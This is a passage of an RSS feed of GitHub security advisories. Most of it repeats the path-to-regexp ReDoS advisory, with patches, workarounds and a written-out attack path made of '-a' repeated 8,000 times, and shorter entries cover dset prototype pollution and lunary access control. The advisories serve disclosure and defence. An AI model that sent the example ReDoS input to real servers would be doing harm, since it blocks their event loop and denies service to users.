        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v1.9.0&quot;&gt;1.9.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v3.3.0&quot;&gt;3.3.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0&quot;&gt;6.3.0&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;They do not protect against vulnerable user supplied capture groups. Protecting against explicit user patterns is out of scope for old versions and not considered a vulnerability.&lt;/p&gt;
        &lt;p&gt;Version &lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v7.1.0&quot;&gt;7.1.0&lt;/a&gt; can enable &lt;code&gt;strict: true&lt;/code&gt; and get an error when the regular expression might be bad.&lt;/p&gt;
        &lt;p&gt;Version &lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v8.0.0&quot;&gt;8.0.0&lt;/a&gt; removes the features that can cause a ReDoS.&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change &lt;code&gt;/:a-:b&lt;/code&gt; to &lt;code&gt;/:a-:b([^-/]+)&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length. For example, halving the attack string improves performance by 4x faster.&lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;Using &lt;code&gt;/:a-:b&lt;/code&gt; will produce the regular expression &lt;code&gt;/^\/([^\/]+?)-([^\/]+?)\/?$/&lt;/code&gt;. This can be exploited by a path such as &lt;code&gt;/a${&#39;-a&#39;.repeat(8_000)}/a&lt;/code&gt;. &lt;a href=&quot;https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS&quot;&gt;OWASP&lt;/a&gt; has a good example of why this occurs, but the TL;DR is the &lt;code&gt;/a&lt;/code&gt; at the end ensures this route would never match but due to naive backtracking it will still attempt every combination of the &lt;code&gt;:a-:b&lt;/code&gt; on the repeated 8,000 &lt;code&gt;-a&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;Because JavaScript is single threaded and regex matching runs on the main thread, poor performance will block the event loop and can lead to a DoS. In local benchmarks, exploiting the unsafe regex will result in performance that is over 1000x worse than the safe regex. In a more realistic environment using Express v4 and 10 concurrent connections, this translated to average latency of ~600ms vs 1ms.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS&quot;&gt;OWASP&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://blakeembrey.com/posts/2024-09-web-redos/&quot;&gt;Detailed blog post&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-9wv6-86v2-598j&quot;&gt;https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-9wv6-86v2-598j&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/29b96b4a1de52824e1ca0f49a701183cc4ed476f&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/29b96b4a1de52824e1ca0f49a701183cc4ed476f&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/60f2121e9b66b7b622cc01080df0aabda9eedee6&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/60f2121e9b66b7b622cc01080df0aabda9eedee6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45296&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45296&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/925ac8e3c5780b02f58cbd4e52f95da8ad2ac485&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/925ac8e3c5780b02f58cbd4e52f95da8ad2ac485&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/d31670ae8f6e69cbfd56e835742195b7d10942ef&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/d31670ae8f6e69cbfd56e835742195b7d10942ef&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/f1253b47b347dcb909e3e80b0eb2649109e59894&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/f1253b47b347dcb909e3e80b0eb2649109e59894&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0&quot;&gt;https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-9wv6-86v2-598j&quot;&gt;https://github.com/advisories/GHSA-9wv6-86v2-598j&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-9wv6-86v2-598j</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-9wv6-86v2-598j</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[path-to-regexp] path-to-regexp outputs backtracking regular expressions</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;A bad regular expression is generated any time you have two parameters within a single segment, separated by something that is not a period (&lt;code&gt;.&lt;/code&gt;). For example, &lt;code&gt;/:a-:b&lt;/code&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;For users of 0.1, upgrade to &lt;code&gt;0.1.10&lt;/code&gt;. All other users should upgrade to &lt;code&gt;8.0.0&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;These versions add backtrack protection when a custom regex pattern is not provided:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v0.1.10&quot;&gt;0.1.10&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v1.9.0&quot;&gt;1.9.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v3.3.0&quot;&gt;3.3.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0&quot;&gt;6.3.0&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;They do not protect against vulnerable user supplied capture groups. Protecting against explicit user patterns is out of scope for old versions and not considered a vulnerability.&lt;/p&gt;
        &lt;p&gt;Version &lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v7.1.0&quot;&gt;7.1.0&lt;/a&gt; can enable &lt;code&gt;strict: true&lt;/code&gt; and get an error when the regular expression might be bad.&lt;/p&gt;
        &lt;p&gt;Version &lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v8.0.0&quot;&gt;8.0.0&lt;/a&gt; removes the features that can cause a ReDoS.&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change &lt;code&gt;/:a-:b&lt;/code&gt; to &lt;code&gt;/:a-:b([^-/]+)&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length. For example, halving the attack string improves performance by 4x faster.&lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;Using &lt;code&gt;/:a-:b&lt;/code&gt; will produce the regular expression &lt;code&gt;/^\/([^\/]+?)-([^\/]+?)\/?$/&lt;/code&gt;. This can be exploited by a path such as &lt;code&gt;/a${&#39;-a&#39;.repeat(8_000)}/a&lt;/code&gt;. &lt;a href=&quot;https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS&quot;&gt;OWASP&lt;/a&gt; has a good example of why this occurs, but the TL;DR is the &lt;code&gt;/a&lt;/code&gt; at the end ensures this route would never match but due to naive backtracking it will still attempt every combination of the &lt;code&gt;:a-:b&lt;/code&gt; on the repeated 8,000 &lt;code&gt;-a&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;Because JavaScript is single threaded and regex matching runs on the main thread, poor performance will block the event loop and can lead to a DoS. In local benchmarks, exploiting the unsafe regex will result in performance that is over 1000x worse than the safe regex. In a more realistic environment using Express v4 and 10 concurrent connections, this translated to average latency of ~600ms vs 1ms.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS&quot;&gt;OWASP&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://blakeembrey.com/posts/2024-09-web-redos/&quot;&gt;Detailed blog post&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-9wv6-86v2-598j&quot;&gt;https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-9wv6-86v2-598j&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/29b96b4a1de52824e1ca0f49a701183cc4ed476f&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/29b96b4a1de52824e1ca0f49a701183cc4ed476f&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/60f2121e9b66b7b622cc01080df0aabda9eedee6&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/60f2121e9b66b7b622cc01080df0aabda9eedee6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45296&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45296&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/925ac8e3c5780b02f58cbd4e52f95da8ad2ac485&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/925ac8e3c5780b02f58cbd4e52f95da8ad2ac485&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/d31670ae8f6e69cbfd56e835742195b7d10942ef&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/d31670ae8f6e69cbfd56e835742195b7d10942ef&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/f1253b47b347dcb909e3e80b0eb2649109e59894&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/f1253b47b347dcb909e3e80b0eb2649109e59894&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0&quot;&gt;https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-9wv6-86v2-598j&quot;&gt;https://github.com/advisories/GHSA-9wv6-86v2-598j&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-9wv6-86v2-598j</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-9wv6-86v2-598j</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[dset] dset Prototype Pollution vulnerability</title>
      <description>&lt;p&gt;Versions of the package dset before 3.1.4 are vulnerable to Prototype Pollution via the dset function due improper user input sanitization. This vulnerability allows the attacker to inject malicious object property using the built-in Object property &lt;strong&gt;proto&lt;/strong&gt;, which is recursively assigned to all the objects in the program.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-21529&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-21529&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/lukeed/dset/commit/16d6154e085bef01e99f01330e5a421a7f098afa&quot;&gt;https://github.com/lukeed/dset/commit/16d6154e085bef01e99f01330e5a421a7f098afa&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://security.snyk.io/vuln/SNYK-JS-DSET-7116691&quot;&gt;https://security.snyk.io/vuln/SNYK-JS-DSET-7116691&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-f6v4-cf5j-vf3w&quot;&gt;https://github.com/advisories/GHSA-f6v4-cf5j-vf3w&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-f6v4-cf5j-vf3w</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-f6v4-cf5j-vf3w</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[lunary] lunary-ai/lunary Access Control Vulnerability in Prompt Variation Management</title>
      <description>&lt;p&gt;In lunary-ai/lunary version 1.2.13, an insufficient granularity of access control vulnerability allows users to create, update, get, and delete prompt variations for datasets not owned by their organization. This issue arises due to the application not properly validating the ownership of dataset prompts and their variations against the organization or project of the requesting user. As a result, unauthorized modifications to dataset prompts can occur, leading to altered or removed dataset prompts without proper authorization. This vulnerability impacts the integrity and consistency of dataset information, potentially affecting the results of experiments.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-5389&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-5389&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://huntr.com/bounties/3ca5309f-5615-4d5b-8043-968af220d7a2&quot;&gt;https://huntr.com/bounties/3ca5309f-5615-4d5b-8043-968af220d7a2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/lunary-ai/lunary/commit/35dd4af0001a54ccb14276a1546eb977f82c0c5e&quot;&gt;https://github.com/lunary-ai/lunary/commit/35dd4af0001a54ccb14276a1546eb977f82c0c5e&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-3mwc-2cj7-gx8c&quot;&gt;https://github.com/advisories/GHSA-3mwc-2cj7-gx8c&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-3mwc-2cj7-gx8c</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-3mwc-2cj7-gx8c</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[path-to-regexp] path-to-regexp outputs backtracking regular expressions</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;A bad regular expression is generated any time you have two parameters within a single segment, separated by something that is not a period (&lt;code&gt;.&lt;/code&gt;). For example, &lt;code&gt;/:a-:b&lt;/code&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;For users of 0.1, upgrade to &lt;code&gt;0.1.10&lt;/code&gt;. All other users should upgrade to &lt;code&gt;8.0.0&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;These versions add backtrack protection when a custom regex pattern is not provided:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v0.1.10&quot;&gt;0.1.10&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v1.9.0&quot;&gt;1.9.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v3.3.0&quot;&gt;3.3.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0&quot;&gt;6.3.0&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;They do not protect against vulnerable user supplied capture groups. Protecting against explicit user patterns is out of scope for old versions and not considered a vulnerability.&lt;/p&gt;
        &lt;p&gt;Version &lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v7.1.0&quot;&gt;7.1.0&lt;/a&gt; can enable &lt;code&gt;strict: true&lt;/code&gt; and get an error when the regular expression might be bad.&lt;/p&gt;
        &lt;p&gt;Version &lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v8.0.0&quot;&gt;8.0.0&lt;/a&gt; removes the features that can cause a ReDoS.&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change &lt;code&gt;/:a-:b&lt;/code&gt; to &lt;code&gt;/:a-:b([^-/]+)&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length. For example, halving the attack string improves performance by 4x faster.&lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;Using &lt;code&gt;/:a-:b&lt;/code&gt; will produce the regular expression &lt;code&gt;/^\/([^\/]+?)-([^\/]+?)\/?$/&lt;/code&gt;. This can be exploited by a path such as &lt;code&gt;/a${&#39;-a&#39;.repeat(8_000)}/a&lt;/code&gt;. &lt;a href=&quot;https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS&quot;&gt;OWASP&lt;/a&gt; has a good example of why this occurs, but the TL;DR is the &lt;code&gt;/a&lt;/code&gt; at the end ensures this route would never match but due to naive backtracking it will still attempt every combination of the &lt;code&gt;:a-:b&lt;/code&gt; on the repeated 8,000 &lt;code&gt;-a&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;Because JavaScript is single threaded and regex matching runs on the main thread, poor performance will block the event loop and can lead to a DoS. In local benchmarks, exploiting the unsafe regex will result in performance that is over 1000x worse than the safe regex. In a more realistic environment using Express v4 and 10 concurrent connections, this translated to average latency of ~600ms vs 1ms.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS&quot;&gt;OWASP&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://blakeembrey.com/posts/2024-09-web-redos/&quot;&gt;Detailed blog post&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-9wv6-86v2-598j&quot;&gt;https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-9wv6-86v2-598j&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/29b96b4a1de52824e1ca0f49a701183cc4ed476f&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/29b96b4a1de52824e1ca0f49a701183cc4ed476f&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/60f2121e9b66b7b622cc01080df0aabda9eedee6&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/60f2121e9b66b7b622cc01080df0aabda9eedee6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45296&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45296&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/925ac8e3c5780b02f58cbd4e52f95da8ad2ac485&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/925ac8e3c5780b02f58cbd4e52f95da8ad2ac485&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/d31670ae8f6e69cbfd56e835742195b7d10942ef&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/d31670ae8f6e69cbfd56e835742195b7d10942ef&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/f1253b47b347dcb909e3e80b0eb2649109e59894&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/f1253b47b347dcb909e3e80b0eb2649109e59894&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0&quot;&gt;https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-9wv6-86v2-598j&quot;&gt;https://github.com/advisories/GHSA-9wv6-86v2-598j&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-9wv6-86v2-598j</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-9wv6-86v2-598j</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[path-to-regexp] path-to-regexp outputs backtracking regular expressions</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;A bad regular expression is generated any time you have two parameters within a single segment, separated by something that is not a period (&lt;code&gt;.&lt;/code&gt;). For example, &lt;code&gt;/:a-:b&lt;/code&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;For users of 0.1, upgrade to &lt;code&gt;0.1.10&lt;/code&gt;. All other users should upgrade to &lt;code&gt;8.0.0&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;These versions add backtrack protection when a custom regex pattern is not provided:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v0.1.10&quot;&gt;0.1.10&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v1.9.0&quot;&gt;1.9.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v3.3.0&quot;&gt;3.3.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0&quot;&gt;6.3.0&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;They do not protect against vulnerable user supplied capture groups. Protecting against explicit user patterns is out of scope for old versions and not considered a vulnerability.&lt;/p&gt;
        &lt;p&gt;Version &lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v7.1.0&quot;&gt;7.1.0&lt;/a&gt; can enable &lt;code&gt;strict: true&lt;/code&gt; and get an error when the regular expression might be bad.&lt;/p&gt;
        &lt;p&gt;Version &lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v8.0.0&quot;&gt;8.0.0&lt;/a&gt; removes the features that can cause a ReDoS.&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change &lt;code&gt;/:a-:b&lt;/code&gt; to &lt;code&gt;/:a-:b([^-/]+)&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length. For example, halving the attack string improves performance by 4x faster.&lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;Using &lt;code&gt;/:a-:b&lt;/code&gt; will produce the regular expression &lt;code&gt;/^\/([^\/]+?)-([^\/]+?)\/?$/&lt;/code&gt;. This can be exploited by a path such as &lt;code&gt;/a${&#39;-a&#39;.repeat(8_000)}/a&lt;/code&gt;. &lt;a href=&quot;https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS&quot;&gt;OWASP&lt;/a&gt; has a good example of why this occurs, but the TL;DR is the &lt;code&gt;/a&lt;/code&gt; at the end ensures this route would never match but due to naive backtracking it will still attempt every combination of the &lt;code&gt;:a-:b&lt;/code&gt; on the repeated 8,000 &lt;code&gt;-a&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;Because JavaScript is single threaded and regex matching runs on the main thread, poor performance will block the event loop and can lead to a DoS. In local benchmarks, exploiting the unsafe regex will result in performance that is over 1000x worse than the safe regex. In a more realistic environment using Express v4 and 10 concurrent connections, this translated to average latency of ~600ms vs 1ms.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS&quot;&gt;OWASP&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://blakeembrey.com/posts/2024-09-web-redos/&quot;&gt;Detailed blog post&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-9wv6-86v2-598j&quot;&gt;https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-9wv6-86v2-598j&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/29b96b4a1de52824e1ca0f49a701183cc4ed476f&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/29b96b4a1de52824e1ca0f49a701183cc4ed476f&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/60f2121e9b66b7b622cc01080df0aabda9eedee6&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/60f2121e9b66b7b622cc01080df0aabda9eedee6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45296&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45296&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/925ac8e3c5780b02f58cbd4e52f95da8ad2ac485&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/925ac8e3c5780b02f58cbd4e52f95da8ad2ac485&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/d31670ae8f6e69cbfd56e835742195b7d10942ef&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/d31670ae8f6e69cbfd56e835742195b7d10942ef&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/f1253b47b347dcb909e3e80b0eb2649109e59894&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/f1253b47b347dcb909e3e80b0eb2649109e59894&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0&quot;&gt;https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-9wv6-86v2-598j&quot;&gt;https://github.com/advisories/GHSA-9wv6-86v2-598j&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-9wv6-86v2-598j</link>
